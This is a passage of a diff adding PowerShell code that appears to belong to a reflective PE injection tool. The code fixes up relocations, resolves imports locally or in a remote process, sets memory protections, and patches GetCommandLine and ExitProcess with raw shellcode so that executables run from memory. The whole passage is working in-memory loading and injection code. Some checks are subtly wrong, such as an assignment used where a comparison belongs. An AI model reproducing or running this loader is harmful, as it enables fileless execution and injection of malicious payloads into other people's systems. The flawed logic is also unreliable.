[UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $LoadByOrdinal = $false + [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) + { + [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true + } + elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) + { + [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + if ($LoadByOrdinal) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" + } + else + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + #Cleanup + #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed + if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) + { + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) + $ProcedureNamePtr = [IntPtr]::Zero + } + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position = 3)] + [Bool] + $ForceASLR = $false + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + 